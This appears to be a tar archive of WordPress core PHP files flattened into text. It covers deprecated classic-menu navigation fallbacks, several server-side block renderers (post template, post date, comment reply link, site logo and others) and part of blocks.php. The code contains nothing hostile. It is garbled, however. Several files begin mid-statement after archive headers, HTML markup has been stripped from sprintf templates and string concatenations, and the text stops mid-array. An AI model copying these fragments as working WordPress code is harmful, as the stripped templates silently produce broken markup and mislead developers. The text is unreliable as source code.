items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::parse_blocks_from_menu_items' ); if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } /** * Get the classic navigation menu to use as a fallback. * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead. * * @return object WP_Term The classic navigation. */ function block_core_navigation_get_classic_menu_fallback() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback' ); $classic_nav_menus = wp_get_nav_menus(); // If menus exist. if ( $classic_nav_menus && ! is_wp_error( $classic_nav_menus ) ) { // Handles simple use case where user has a classic menu and switches to a block theme. // Returns the menu assigned to location `primary`. $locations = get_nav_menu_locations(); if ( isset( $locations['primary'] ) ) { $primary_menu = wp_get_nav_menu_object( $locations['primary'] ); if ( $primary_menu ) { return $primary_menu; } } // Returns a menu if `primary` is its slug. foreach ( $classic_nav_menus as $classic_nav_menu ) { if ( 'primary' === $classic_nav_menu->slug ) { return $classic_nav_menu; } } // Otherwise return the most recently created classic menu. usort( $classic_nav_menus, static function ( $a, $b ) { return $b->term_id - $a->term_id; } ); return $classic_nav_menus[0]; } } /** * Converts a classic navigation to blocks. * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead. * * @param object $classic_nav_menu WP_Term The classic navigation object to convert. * @return array the normalized parsed blocks. */ function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback_blocks' ); // BEGIN: Code that already exists in wp_nav_menu(). $menu_items = wp_get_nav_menu_items( $classic_nav_menu->term_id, array( 'update_post_term_cache' => false ) ); // Set up the $menu_item variables. _wp_menu_item_classes_by_context( $menu_items ); $sorted_menu_items = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; } unset( $menu_items, $menu_item ); // END: Code that already exists in wp_nav_menu(). $menu_items_by_parent_id = array(); foreach ( $sorted_menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } $inner_blocks = block_core_navigation_parse_blocks_from_menu_items( isset( $menu_items_by_parent_id[0] ) ? $menu_items_by_parent_id[0] : array(), $menu_items_by_parent_id ); return serialize_blocks( $inner_blocks ); } /** * If there's a classic menu then use it as a fallback. * * @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead. * * @return array the normalized parsed blocks. */ function block_core_navigation_maybe_use_classic_menu_fallback() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::create_classic_menu_fallback' ); // See if we have a classic menu. $classic_nav_menu = block_core_navigation_get_classic_menu_fallback(); if ( ! $classic_nav_menu ) { return; } // If we have a classic menu then convert it to blocks. $classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ); if ( empty( $classic_nav_menu_blocks ) ) { return; } // Create a new navigation menu from the classic menu. $wp_insert_post_result = wp_insert_post( array( 'post_content' => $classic_nav_menu_blocks, 'post_title' => $classic_nav_menu->name, 'post_name' => $classic_nav_menu->slug, 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); if ( is_wp_error( $wp_insert_post_result ) ) { return; } // Fetch the most recently published navigation which will be the classic one created above. return block_core_navigation_get_most_recently_published_navigation(); } /** * Finds the most recently published `wp_navigation` Post. * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead. * * @return WP_Post|null the first non-empty Navigation or null. */ function block_core_navigation_get_most_recently_published_navigation() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_most_recently_published_navigation' ); // Default to the most recently created menu. $parsed_args = array( 'post_type' => 'wp_navigation', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'publish', 'posts_per_page' => 1, // get only the most recent. ); $navigation_post = new WP_Query( $parsed_args ); if ( count( $navigation_post->posts ) > 0 ) { return $navigation_post->posts[0]; } return null; } blocks/query-title.php000064400000004014151202620300011004 0ustar00 $align_class_name ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/query-title` block on the server. */ function register_block_core_query_title() { register_block_type_from_metadata( __DIR__ . '/query-title', array( 'render_callback' => 'render_block_core_query_title', ) ); } add_action( 'init', 'register_block_core_query_title' ); blocks/comments-title.php000064400000005256151202620300011475 0ustar00 $align_class_name ) ); $comments_count = get_comments_number(); /* translators: %s: Post title. */ $post_title = sprintf( __( '“%s”' ), get_the_title() ); $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 'h' . $attributes['level']; } if ( '0' === $comments_count ) { return; } if ( $show_comments_count ) { if ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'One response to %s' ), $post_title ); } else { $comments_title = sprintf( /* translators: 1: Number of comments, 2: Post title. */ _n( '%1$s response to %2$s', '%1$s responses to %2$s', $comments_count ), number_format_i18n( $comments_count ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'One response' ); } else { $comments_title = sprintf( /* translators: %s: Number of comments. */ _n( '%s response', '%s responses', $comments_count ), number_format_i18n( $comments_count ) ); } } elseif ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Response to %s' ), $post_title ); } else { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Responses to %s' ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'Response' ); } else { $comments_title = __( 'Responses' ); } return sprintf( '<%1$s id="comments" %2$s>%3$s', $tag_name, $wrapper_attributes, $comments_title ); } /** * Registers the `core/comments-title` block on the server. */ function register_block_core_comments_title() { register_block_type_from_metadata( __DIR__ . '/comments-title', array( 'render_callback' => 'render_block_core_comments_title', ) ); } add_action( 'init', 'register_block_core_comments_title' ); blocks/query-pagination.php000064400000002162151202620300012016 0ustar00 __( 'Pagination' ), 'class' => $classes, ) ); return sprintf( '', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination` block on the server. */ function register_block_core_query_pagination() { register_block_type_from_metadata( __DIR__ . '/query-pagination', array( 'render_callback' => 'render_block_core_query_pagination', ) ); } add_action( 'init', 'register_block_core_query_pagination' ); blocks/post-template.php000064400000013026151202620300011321 0ustar00name ) { return true; } if ( 'core/cover' === $block->name && ! empty( $block->attributes['useFeaturedImage'] ) ) { return true; } if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { return true; } } return false; } /** * Renders the `core/post-template` block on the server. * * @since 6.3.0 Changed render_block_context priority to `1`. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks. */ function render_block_core_post_template( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Use global query if needed. $use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ); if ( $use_global_query ) { global $wp_query; /* * If already in the main query loop, duplicate the query instance to not tamper with the main instance. * Since this is a nested query, it should start at the beginning, therefore rewind posts. * Otherwise, the main query loop has not started yet and this block is responsible for doing so. */ if ( in_the_loop() ) { $query = clone $wp_query; $query->rewind_posts(); } else { $query = $wp_query; } } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( ! $query->have_posts() ) { return ''; } if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { update_post_thumbnail_cache( $query ); } $classnames = ''; if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) { if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) { $classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}"; } } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= ' has-link-color'; } // Ensure backwards compatibility by flagging the number of columns via classname when using grid layout. if ( isset( $attributes['layout']['type'] ) && 'grid' === $attributes['layout']['type'] && ! empty( $attributes['layout']['columnCount'] ) ) { $classnames .= ' ' . sanitize_title( 'columns-' . $attributes['layout']['columnCount'] ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) ); $content = ''; while ( $query->have_posts() ) { $query->the_post(); // Get an instance of the current Post Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Post Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; $post_id = get_the_ID(); $post_type = get_post_type(); $filter_block_context = static function ( $context ) use ( $post_id, $post_type ) { $context['postType'] = $post_type; $context['postId'] = $post_id; return $context; }; // Use an early priority to so that other 'render_block_context' filters have access to the values. add_filter( 'render_block_context', $filter_block_context, 1 ); // Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); // Wrap the render inner blocks in a `li` element with the appropriate post classes. $post_classes = implode( ' ', get_post_class( 'wp-block-post' ) ); $inner_block_directives = $enhanced_pagination ? ' data-wp-key="post-template-item-' . $post_id . '"' : ''; $content .= '' . $block_content . ''; } /* * Use this function to restore the context of the template tags * from a secondary query loop back to the main query loop. * Since we use two custom loops, it's safest to always restore. */ wp_reset_postdata(); return sprintf( '
      %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/post-template` block on the server. */ function register_block_core_post_template() { register_block_type_from_metadata( __DIR__ . '/post-template', array( 'render_callback' => 'render_block_core_post_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_post_template' ); blocks/post-date.php000064400000004450151202620300010424 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $formatted_date = get_the_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $post_ID ); $unformatted_date = esc_attr( get_the_date( 'c', $post_ID ) ); $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } /* * If the "Display last modified date" setting is enabled, * only display the modified date if it is later than the publishing date. */ if ( isset( $attributes['displayType'] ) && 'modified' === $attributes['displayType'] ) { if ( get_the_modified_date( 'Ymdhi', $post_ID ) > get_the_date( 'Ymdhi', $post_ID ) ) { $formatted_date = get_the_modified_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $post_ID ); $unformatted_date = esc_attr( get_the_modified_date( 'c', $post_ID ) ); $classes[] = 'wp-block-post-date__modified-date'; } else { return ''; } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $formatted_date = sprintf( '%2s', get_the_permalink( $post_ID ), $formatted_date ); } return sprintf( '
    ', $wrapper_attributes, $unformatted_date, $formatted_date ); } /** * Registers the `core/post-date` block on the server. */ function register_block_core_post_date() { register_block_type_from_metadata( __DIR__ . '/post-date', array( 'render_callback' => 'render_block_core_post_date', ) ); } add_action( 'init', 'register_block_core_post_date' ); blocks/comment-reply-link.php000064400000003765151202620300012262 0ustar00context['commentId'] ) ) { return ''; } $thread_comments = get_option( 'thread_comments' ); if ( ! $thread_comments ) { return ''; } $comment = get_comment( $block->context['commentId'] ); if ( empty( $comment ) ) { return ''; } $depth = 1; $max_depth = get_option( 'thread_comments_depth' ); $parent_id = $comment->comment_parent; // Compute comment's depth iterating over its ancestors. while ( ! empty( $parent_id ) ) { ++$depth; $parent_id = get_comment( $parent_id )->comment_parent; } $comment_reply_link = get_comment_reply_link( array( 'depth' => $depth, 'max_depth' => $max_depth, ), $comment ); // Render nothing if the generated reply link is empty. if ( empty( $comment_reply_link ) ) { return; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $comment_reply_link ); } /** * Registers the `core/comment-reply-link` block on the server. */ function register_block_core_comment_reply_link() { register_block_type_from_metadata( __DIR__ . '/comment-reply-link', array( 'render_callback' => 'render_block_core_comment_reply_link', ) ); } add_action( 'init', 'register_block_core_comment_reply_link' ); blocks/site-logo.php000064400000013455151202620300010433 0ustar00(.*?)#i', '\1', $custom_logo ); } if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) { // Add the link target after the rel="home". // Add an aria-label for informing that the page opens in a new tab. $processor = new WP_HTML_Tag_Processor( $custom_logo ); $processor->next_tag( 'a' ); if ( 'home' === $processor->get_attribute( 'rel' ) ) { $processor->set_attribute( 'aria-label', __( '(Home link, opens in a new tab)' ) ); $processor->set_attribute( 'target', $attributes['linkTarget'] ); } $custom_logo = $processor->get_updated_html(); } $classnames = array(); if ( empty( $attributes['width'] ) ) { $classnames[] = 'is-default-size'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); $html = sprintf( '
    %s
    ', $wrapper_attributes, $custom_logo ); return $html; } /** * Register a core site setting for a site logo */ function register_block_core_site_logo_setting() { register_setting( 'general', 'site_logo', array( 'show_in_rest' => array( 'name' => 'site_logo', ), 'type' => 'integer', 'description' => __( 'Site logo.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 ); /** * Register a core site setting for a site icon */ function register_block_core_site_icon_setting() { register_setting( 'general', 'site_icon', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Site icon.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 ); /** * Registers the `core/site-logo` block on the server. */ function register_block_core_site_logo() { register_block_type_from_metadata( __DIR__ . '/site-logo', array( 'render_callback' => 'render_block_core_site_logo', ) ); } add_action( 'init', 'register_block_core_site_logo' ); /** * Overrides the custom logo with a site logo, if the option is set. * * @param string $custom_logo The custom logo set by a theme. * * @return string The site logo if set. */ function _override_custom_logo_theme_mod( $custom_logo ) { $site_logo = get_option( 'site_logo' ); return false === $site_logo ? $custom_logo : $site_logo; } add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' ); /** * Updates the site_logo option when the custom_logo theme-mod gets updated. * * @param mixed $value Attachment ID of the custom logo or an empty value. * @return mixed */ function _sync_custom_logo_to_site_logo( $value ) { if ( empty( $value ) ) { delete_option( 'site_logo' ); } else { update_option( 'site_logo', $value ); } return $value; } add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' ); /** * Deletes the site_logo when the custom_logo theme mod is removed. * * @param array $old_value Previous theme mod settings. * @param array $value Updated theme mod settings. */ function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } // If the custom_logo is being unset, it's being removed from theme mods. if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) { delete_option( 'site_logo' ); } } /** * Deletes the site logo when all theme mods are being removed. */ function _delete_site_logo_on_remove_theme_mods() { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } if ( false !== get_theme_support( 'custom-logo' ) ) { delete_option( 'site_logo' ); } } /** * Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`. * Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`. * * Runs on `setup_theme` to account for dynamically-switched themes in the Customizer. */ function _delete_site_logo_on_remove_custom_logo_on_setup_theme() { $theme = get_option( 'stylesheet' ); add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 ); add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' ); } add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 ); /** * Removes the custom_logo theme-mod when the site_logo option gets deleted. */ function _delete_custom_logo_on_remove_site_logo() { global $_ignore_site_logo_changes; // Prevent _delete_site_logo_on_remove_custom_logo and // _delete_site_logo_on_remove_theme_mods from firing and causing an // infinite loop. $_ignore_site_logo_changes = true; // Remove the custom logo. remove_theme_mod( 'custom_logo' ); $_ignore_site_logo_changes = false; } add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' ); blocks.php000064400000067701151202620300006534 0ustar00register( $name, $args ); } /** * Unregisters a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively * a complete WP_Block_Type instance. * @return WP_Block_Type|false The unregistered block type on success, or false on failure. */ function unregister_block_type( $name ) { return WP_Block_Type_Registry::get_instance()->unregister( $name ); } /** * Removes the block asset's path prefix if provided. * * @since 5.5.0 * * @param string $asset_handle_or_path Asset handle or prefixed path. * @return string Path without the prefix or the original value. */ function remove_block_asset_path_prefix( $asset_handle_or_path ) { $path_prefix = 'file:'; if ( 0 !== strpos( $asset_handle_or_path, $path_prefix ) ) { return $asset_handle_or_path; } return substr( $asset_handle_or_path, strlen( $path_prefix ) ); } /** * Generates the name for an asset based on the name of the block * and the field name provided. * * @since 5.5.0 * * @param string $block_name Name of the block. * @param string $field_name Name of the metadata field. * @return string Generated asset name for the block's field. */ function generate_block_asset_handle( $block_name, $field_name ) { if ( 0 === strpos( $block_name, 'core/' ) ) { $asset_handle = str_replace( 'core/', 'wp-block-', $block_name ); if ( 0 === strpos( $field_name, 'editor' ) ) { $asset_handle .= '-editor'; } return $asset_handle; } $field_mappings = array( 'editorScript' => 'editor-script', 'script' => 'script', 'editorStyle' => 'editor-style', 'style' => 'style', ); return str_replace( '/', '-', $block_name ) . '-' . $field_mappings[ $field_name ]; } /** * Finds a script handle for the selected block metadata field. It detects * when a path to file was provided and finds a corresponding asset file * with details necessary to register the script under automatically * generated handle name. It returns unprocessed script handle otherwise. * * @since 5.5.0 * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @return string|false Script handle provided directly or created through * script's registration, or false on failure. */ function register_block_script_handle( $metadata, $field_name ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $script_handle = $metadata[ $field_name ]; $script_path = remove_block_asset_path_prefix( $metadata[ $field_name ] ); if ( $script_handle === $script_path ) { return $script_handle; } $script_handle = generate_block_asset_handle( $metadata['name'], $field_name ); $script_asset_path = realpath( dirname( $metadata['file'] ) . '/' . substr_replace( $script_path, '.asset.php', - strlen( '.js' ) ) ); if ( ! file_exists( $script_asset_path ) ) { $message = sprintf( /* translators: %1: field name. %2: block name */ __( 'The asset file for the "%1$s" defined in "%2$s" block definition is missing.', 'default' ), $field_name, $metadata['name'] ); _doing_it_wrong( __FUNCTION__, $message, '5.5.0' ); return false; } $script_asset = require $script_asset_path; $result = wp_register_script( $script_handle, plugins_url( $script_path, $metadata['file'] ), $script_asset['dependencies'], $script_asset['version'] ); if ( ! $result ) { return false; } if ( ! empty( $metadata['textdomain'] ) ) { wp_set_script_translations( $script_handle, $metadata['textdomain'] ); } return $script_handle; } /** * Finds a style handle for the block metadata field. It detects when a path * to file was provided and registers the style under automatically * generated handle name. It returns unprocessed style handle otherwise. * * @since 5.5.0 * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @return string|false Style handle provided directly or created through * style's registration, or false on failure. */ function register_block_style_handle( $metadata, $field_name ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $style_handle = $metadata[ $field_name ]; $style_path = remove_block_asset_path_prefix( $metadata[ $field_name ] ); if ( $style_handle === $style_path ) { return $style_handle; } $style_handle = generate_block_asset_handle( $metadata['name'], $field_name ); $block_dir = dirname( $metadata['file'] ); $style_file = realpath( "$block_dir/$style_path" ); $result = wp_register_style( $style_handle, plugins_url( $style_path, $metadata['file'] ), array(), filemtime( $style_file ) ); if ( file_exists( str_replace( '.css', '-rtl.css', $style_file ) ) ) { wp_style_add_data( $style_handle, 'rtl', 'replace' ); } return $result ? $style_handle : false; } /** * Registers a block type from metadata stored in the `block.json` file. * * @since 5.5.0 * * @param string $file_or_folder Path to the JSON file with metadata definition for * the block or path to the folder where the `block.json` file is located. * @param array $args Optional. Array of block type arguments. Accepts any public property * of `WP_Block_Type`. See WP_Block_Type::__construct() for information * on accepted arguments. Default empty array. * @return WP_Block_Type|false The registered block type on success, or false on failure. */ function register_block_type_from_metadata( $file_or_folder, $args = array() ) { $filename = 'block.json'; $metadata_file = ( substr( $file_or_folder, -strlen( $filename ) ) !== $filename ) ? trailingslashit( $file_or_folder ) . $filename : $file_or_folder; if ( ! file_exists( $metadata_file ) ) { return false; } $metadata = json_decode( file_get_contents( $metadata_file ), true ); if ( ! is_array( $metadata ) || empty( $metadata['name'] ) ) { return false; } $metadata['file'] = $metadata_file; /** * Filters the metadata provided for registering a block type. * * @since 5.7.0 * * @param array $metadata Metadata for registering a block type. */ $metadata = apply_filters( 'block_type_metadata', $metadata ); $settings = array(); $property_mappings = array( 'title' => 'title', 'category' => 'category', 'parent' => 'parent', 'icon' => 'icon', 'description' => 'description', 'keywords' => 'keywords', 'attributes' => 'attributes', 'providesContext' => 'provides_context', 'usesContext' => 'uses_context', 'supports' => 'supports', 'styles' => 'styles', 'example' => 'example', 'apiVersion' => 'api_version', ); foreach ( $property_mappings as $key => $mapped_key ) { if ( isset( $metadata[ $key ] ) ) { $value = $metadata[ $key ]; if ( empty( $metadata['textdomain'] ) ) { $settings[ $mapped_key ] = $value; continue; } $textdomain = $metadata['textdomain']; switch ( $key ) { case 'title': case 'description': // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralContext,WordPress.WP.I18n.NonSingularStringLiteralDomain $settings[ $mapped_key ] = translate_with_gettext_context( $value, sprintf( 'block %s', $key ), $textdomain ); break; case 'keywords': $settings[ $mapped_key ] = array(); if ( ! is_array( $value ) ) { continue 2; } foreach ( $value as $keyword ) { // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $settings[ $mapped_key ][] = translate_with_gettext_context( $keyword, 'block keyword', $textdomain ); } break; case 'styles': $settings[ $mapped_key ] = array(); if ( ! is_array( $value ) ) { continue 2; } foreach ( $value as $style ) { if ( ! empty( $style['label'] ) ) { // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $style['label'] = translate_with_gettext_context( $style['label'], 'block style label', $textdomain ); } $settings[ $mapped_key ][] = $style; } break; default: $settings[ $mapped_key ] = $value; } } } if ( ! empty( $metadata['editorScript'] ) ) { $settings['editor_script'] = register_block_script_handle( $metadata, 'editorScript' ); } if ( ! empty( $metadata['script'] ) ) { $settings['script'] = register_block_script_handle( $metadata, 'script' ); } if ( ! empty( $metadata['editorStyle'] ) ) { $settings['editor_style'] = register_block_style_handle( $metadata, 'editorStyle' ); } if ( ! empty( $metadata['style'] ) ) { $settings['style'] = register_block_style_handle( $metadata, 'style' ); } /** * Filters the settings determined from the block type metadata. * * @since 5.7.0 * * @param array $settings Array of determined settings for registering a block type. * @param array $metadata Metadata provided for registering a block type. */ $settings = apply_filters( 'block_type_metadata_settings', array_merge( $settings, $args ), $metadata ); return register_block_type( $metadata['name'], $settings ); } /** * Determine whether a post or content string has blocks. * * This test optimizes for performance rather than strict accuracy, detecting * the pattern of a block but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * * @see parse_blocks() * * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post. * @return bool Whether the post has blocks. */ function has_blocks( $post = null ) { if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( $wp_post instanceof WP_Post ) { $post = $wp_post->post_content; } } return false !== strpos( (string) $post, '', $serialized_block_name, $serialized_attributes ); } return sprintf( '%s', $serialized_block_name, $serialized_attributes, $block_content, $serialized_block_name ); } /** * Returns the content of a block, including comment delimiters, serializing all * attributes from the given parsed block. * * This should be used when preparing a block to be saved to post content. * Prefer `render_block` when preparing a block for display. Unlike * `render_block`, this does not evaluate a block's `render_callback`, and will * instead preserve the markup as parsed. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block A single parsed block object. * @return string String of rendered HTML. */ function serialize_block( $block ) { $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } return get_comment_delimited_block_content( $block['blockName'], $block['attrs'], $block_content ); } /** * Returns a joined string of the aggregate serialization of the given parsed * blocks. * * @since 5.3.1 * * @param WP_Block_Parser_Block[] $blocks Parsed block objects. * @return string String of rendered HTML. */ function serialize_blocks( $blocks ) { return implode( '', array_map( 'serialize_block', $blocks ) ); } /** * Filters and sanitizes block content to remove non-allowable HTML from * parsed block attribute values. * * @since 5.3.1 * * @param string $text Text that may contain block content. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return string The filtered and sanitized content result. */ function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) { $result = ''; $blocks = parse_blocks( $text ); foreach ( $blocks as $block ) { $block = filter_block_kses( $block, $allowed_html, $allowed_protocols ); $result .= serialize_block( $block ); } return $result; } /** * Filters and sanitizes a parsed block to remove non-allowable HTML from block * attribute values. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block The parsed block object. * @param array[]|string $allowed_html An array of allowed HTML * elements and attributes, or a * context name such as 'post'. * @param string[] $allowed_protocols Allowed URL protocols. * @return array The filtered and sanitized block object result. */ function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) { $block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols ); if ( is_array( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as $i => $inner_block ) { $block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols ); } } return $block; } /** * Filters and sanitizes a parsed block attribute value to remove non-allowable * HTML. * * @since 5.3.1 * * @param string[]|string $value The attribute value to filter. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return string[]|string The filtered and sanitized result. */ function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) { if ( is_array( $value ) ) { foreach ( $value as $key => $inner_value ) { $filtered_key = filter_block_kses_value( $key, $allowed_html, $allowed_protocols ); $filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols ); if ( $filtered_key !== $key ) { unset( $value[ $key ] ); } $value[ $filtered_key ] = $filtered_value; } } elseif ( is_string( $value ) ) { return wp_kses( $value, $allowed_html, $allowed_protocols ); } return $value; } /** * Parses blocks out of a content string, and renders those appropriate for the excerpt. * * As the excerpt should be a small string of text relevant to the full post content, * this function renders the blocks that are most likely to contain such text. * * @since 5.0.0 * * @param string $content The content to parse. * @return string The parsed and filtered content. */ function excerpt_remove_blocks( $content ) { $allowed_inner_blocks = array( // Classic blocks have their blockName set to null. null, 'core/freeform', 'core/heading', 'core/html', 'core/list', 'core/media-text', 'core/paragraph', 'core/preformatted', 'core/pullquote', 'core/quote', 'core/table', 'core/verse', ); $allowed_blocks = array_merge( $allowed_inner_blocks, array( 'core/columns' ) ); /** * Filters the list of blocks that can contribute to the excerpt. * * If a dynamic block is added to this list, it must not generate another * excerpt, as this will cause an infinite loop to occur. * * @since 5.0.0 * * @param array $allowed_blocks The list of allowed 